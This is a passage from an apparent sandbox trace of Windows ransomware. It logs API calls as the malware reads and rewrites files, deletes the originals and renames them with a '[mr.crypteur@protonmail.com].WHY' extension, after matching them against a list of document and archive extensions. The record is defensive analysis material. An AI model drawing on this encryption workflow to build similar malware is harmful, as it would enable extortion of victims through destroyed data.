hFile=0x2ec, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1b778, lpOverlapped=0x0) returned 1 [0280.755] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1b780, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1b780, lpOverlapped=0x0) returned 1 [0280.773] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0280.773] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xee, lpOverlapped=0x0) returned 1 [0280.773] SetEndOfFile (hFile=0x390) returned 1 [0280.774] CloseHandle (hObject=0x390) returned 1 [0280.780] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0281.265] SetEndOfFile (hFile=0x2ec) returned 1 [0281.281] CloseHandle (hObject=0x2ec) returned 1 [0281.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0281.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Waveform.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\waveform.eftx")) Thread: id = 42 os_tid = 0x668 [0206.681] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3b90298 [0206.683] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10000) returned 0x3ba02a0 [0206.684] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9338 [0206.684] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x6) returned 0x641590 [0206.684] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9350 [0206.684] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x100000) returned 0x4050020 [0206.685] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9368 [0206.685] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9368, Size=0x20) returned 0x620318 [0206.685] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5e9368 [0206.685] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5e9368, Size=0x20) returned 0x620390 [0206.685] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75c40000 [0206.686] GetProcAddress (hModule=0x75c40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75c6d650 [0206.686] Wow64DisableWow64FsRedirection (in: OldValue=0x352ff58 | out: OldValue=0x352ff58*=0x0) returned 1 [0206.686] lstrlenW (lpString="kernel32.dll") returned 12 [0206.686] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620318 | out: hHeap=0x590000) returned 1 [0206.686] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0206.686] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x620390 | out: hHeap=0x590000) returned 1 [0206.686] Sleep (dwMilliseconds=0x64) [0207.143] Sleep (dwMilliseconds=0x64) [0207.438] Sleep (dwMilliseconds=0x64) [0207.911] Sleep (dwMilliseconds=0x64) [0208.170] Sleep (dwMilliseconds=0x64) [0208.491] Sleep (dwMilliseconds=0x64) [0208.672] Sleep (dwMilliseconds=0x64) [0208.993] Sleep (dwMilliseconds=0x64) [0209.260] Sleep (dwMilliseconds=0x64) [0209.774] Sleep (dwMilliseconds=0x64) [0210.078] Sleep (dwMilliseconds=0x64) [0210.321] Sleep (dwMilliseconds=0x64) [0210.909] Sleep (dwMilliseconds=0x64) [0211.315] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0211.315] lstrlenW (lpString="Alphabet.xml") returned 12 [0211.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0211.866] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=791686) returned 1 [0211.866] CloseHandle (hObject=0x2cc) returned 1 [0211.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0211.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0211.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.870] lstrlenW (lpString=".doc") returned 4 [0211.870] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.871] lstrlenW (lpString=".docx") returned 5 [0211.871] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0211.871] lstrlenW (lpString=".pdf") returned 4 [0211.871] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.871] lstrlenW (lpString=".xls") returned 4 [0211.871] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.872] lstrlenW (lpString=".xlsx") returned 5 [0211.872] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0211.872] lstrlenW (lpString=".ppt") returned 4 [0211.872] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.872] lstrlenW (lpString=".zip") returned 4 [0211.872] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.872] lstrlenW (lpString=".rar") returned 4 [0211.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.873] lstrlenW (lpString=".bz2") returned 4 [0211.873] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.873] lstrlenW (lpString=".7z") returned 3 [0211.873] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.873] lstrlenW (lpString=".dbf") returned 4 [0211.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.875] lstrlenW (lpString=".1cd") returned 4 [0211.875] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.875] lstrlenW (lpString=".jpg") returned 4 [0211.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.876] lstrlenW (lpString=".doc") returned 4 [0211.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0211.876] lstrlenW (lpString=".docx") returned 5 [0211.876] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0211.876] lstrlenW (lpString=".pdf") returned 4 [0211.876] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0211.876] lstrlenW (lpString=".xls") returned 4 [0211.876] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0211.876] lstrlenW (lpString=".xlsx") returned 5 [0211.876] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0211.876] lstrlenW (lpString=".ppt") returned 4 [0211.876] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0211.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.877] lstrlenW (lpString=".zip") returned 4 [0211.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0211.877] lstrlenW (lpString=".rar") returned 4 [0211.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0211.877] lstrlenW (lpString=".bz2") returned 4 [0211.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0211.878] lstrlenW (lpString=".7z") returned 3 [0211.878] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0211.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.878] lstrlenW (lpString=".dbf") returned 4 [0211.879] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.879] lstrlenW (lpString=".1cd") returned 4 [0211.879] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0211.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0211.879] lstrlenW (lpString=".jpg") returned 4 [0211.879] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0211.880] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0211.880] lstrlenW (lpString="boxed-join.avi") returned 14 [0211.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.064] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=33280) returned 1 [0212.064] CloseHandle (hObject=0x2d0) returned 1 [0212.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0212.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.065] lstrlenW (lpString=".doc") returned 4 [0212.065] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.065] lstrlenW (lpString=".docx") returned 5 [0212.065] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0212.065] lstrlenW (lpString=".pdf") returned 4 [0212.065] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.065] lstrlenW (lpString=".xls") returned 4 [0212.065] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.065] lstrlenW (lpString=".xlsx") returned 5 [0212.065] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0212.065] lstrlenW (lpString=".ppt") returned 4 [0212.066] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.066] lstrlenW (lpString=".zip") returned 4 [0212.066] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.066] lstrlenW (lpString=".rar") returned 4 [0212.066] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.066] lstrlenW (lpString=".bz2") returned 4 [0212.066] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.066] lstrlenW (lpString=".7z") returned 3 [0212.066] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.066] lstrlenW (lpString=".dbf") returned 4 [0212.066] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.067] lstrlenW (lpString=".1cd") returned 4 [0212.067] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.067] lstrlenW (lpString=".jpg") returned 4 [0212.067] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.067] lstrlenW (lpString=".doc") returned 4 [0212.067] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.067] lstrlenW (lpString=".docx") returned 5 [0212.068] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0212.068] lstrlenW (lpString=".pdf") returned 4 [0212.068] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.068] lstrlenW (lpString=".xls") returned 4 [0212.068] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.068] lstrlenW (lpString=".xlsx") returned 5 [0212.068] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0212.068] lstrlenW (lpString=".ppt") returned 4 [0212.068] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.069] lstrlenW (lpString=".zip") returned 4 [0212.069] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.069] lstrlenW (lpString=".rar") returned 4 [0212.069] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.069] lstrlenW (lpString=".bz2") returned 4 [0212.069] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.069] lstrlenW (lpString=".7z") returned 3 [0212.069] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.069] lstrlenW (lpString=".dbf") returned 4 [0212.069] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.070] lstrlenW (lpString=".1cd") returned 4 [0212.070] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0212.070] lstrlenW (lpString=".jpg") returned 4 [0212.070] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.071] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0212.071] lstrlenW (lpString="auxbase.xml") returned 11 [0212.072] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.075] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=1434) returned 1 [0212.075] CloseHandle (hObject=0x2d0) returned 1 [0212.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0212.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.075] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.076] lstrlenW (lpString=".doc") returned 4 [0212.076] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0212.076] lstrlenW (lpString=".docx") returned 5 [0212.076] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0212.076] lstrlenW (lpString=".pdf") returned 4 [0212.076] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0212.076] lstrlenW (lpString=".xls") returned 4 [0212.076] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0212.077] lstrlenW (lpString=".xlsx") returned 5 [0212.077] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0212.077] lstrlenW (lpString=".ppt") returned 4 [0212.077] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0212.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.077] lstrlenW (lpString=".zip") returned 4 [0212.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0212.078] lstrlenW (lpString=".rar") returned 4 [0212.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0212.078] lstrlenW (lpString=".bz2") returned 4 [0212.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0212.078] lstrlenW (lpString=".7z") returned 3 [0212.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0212.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.078] lstrlenW (lpString=".dbf") returned 4 [0212.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0212.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.079] lstrlenW (lpString=".1cd") returned 4 [0212.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0212.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.079] lstrlenW (lpString=".jpg") returned 4 [0212.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0212.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.080] lstrlenW (lpString=".doc") returned 4 [0212.080] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0212.080] lstrlenW (lpString=".docx") returned 5 [0212.080] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0212.080] lstrlenW (lpString=".pdf") returned 4 [0212.080] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0212.080] lstrlenW (lpString=".xls") returned 4 [0212.080] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0212.080] lstrlenW (lpString=".xlsx") returned 5 [0212.080] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0212.080] lstrlenW (lpString=".ppt") returned 4 [0212.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0212.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.081] lstrlenW (lpString=".zip") returned 4 [0212.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0212.081] lstrlenW (lpString=".rar") returned 4 [0212.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0212.081] lstrlenW (lpString=".bz2") returned 4 [0212.082] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0212.082] lstrlenW (lpString=".7z") returned 3 [0212.082] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0212.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0212.082] lstrlenW (lpString=".dbf") returned 4 [0213.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0213.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0213.597] lstrlenW (lpString=".1cd") returned 4 [0213.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0213.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0213.597] lstrlenW (lpString=".jpg") returned 4 [0213.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0213.598] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0213.598] lstrlenW (lpString="keypad.xml") returned 10 [0213.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0215.243] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x352ff1c | out: lpFileSize=0x352ff1c*=727) returned 1 [0215.243] CloseHandle (hObject=0x300) returned 1 [0215.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0215.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.245] lstrlenW (lpString=".doc") returned 4 [0215.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.245] lstrlenW (lpString=".docx") returned 5 [0215.245] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0215.245] lstrlenW (lpString=".pdf") returned 4 [0215.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.246] lstrlenW (lpString=".xls") returned 4 [0215.246] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.246] lstrlenW (lpString=".xlsx") returned 5 [0215.246] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0215.246] lstrlenW (lpString=".ppt") returned 4 [0215.246] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.246] lstrlenW (lpString=".zip") returned 4 [0215.246] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.247] lstrlenW (lpString=".rar") returned 4 [0215.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.247] lstrlenW (lpString=".bz2") returned 4 [0215.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.247] lstrlenW (lpString=".7z") returned 3 [0215.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.247] lstrlenW (lpString=".dbf") returned 4 [0215.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.248] lstrlenW (lpString=".1cd") returned 4 [0215.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.248] lstrlenW (lpString=".jpg") returned 4 [0215.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 75 [0215.248] lstrlenW (lpString=".doc") returned 4 [0215.248] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.248] lstrlenW (lpString=".docx") returned 5 [0215.248] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0215.249] lstrlenW (lpString=".pdf") returned 4 [0215.249] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.249] lstrlenW (lpString=".xls") returned 4 [0215.249] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.249] lstrlenW (lpString=".xlsx") returned 5 [0215.249] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0215.249] 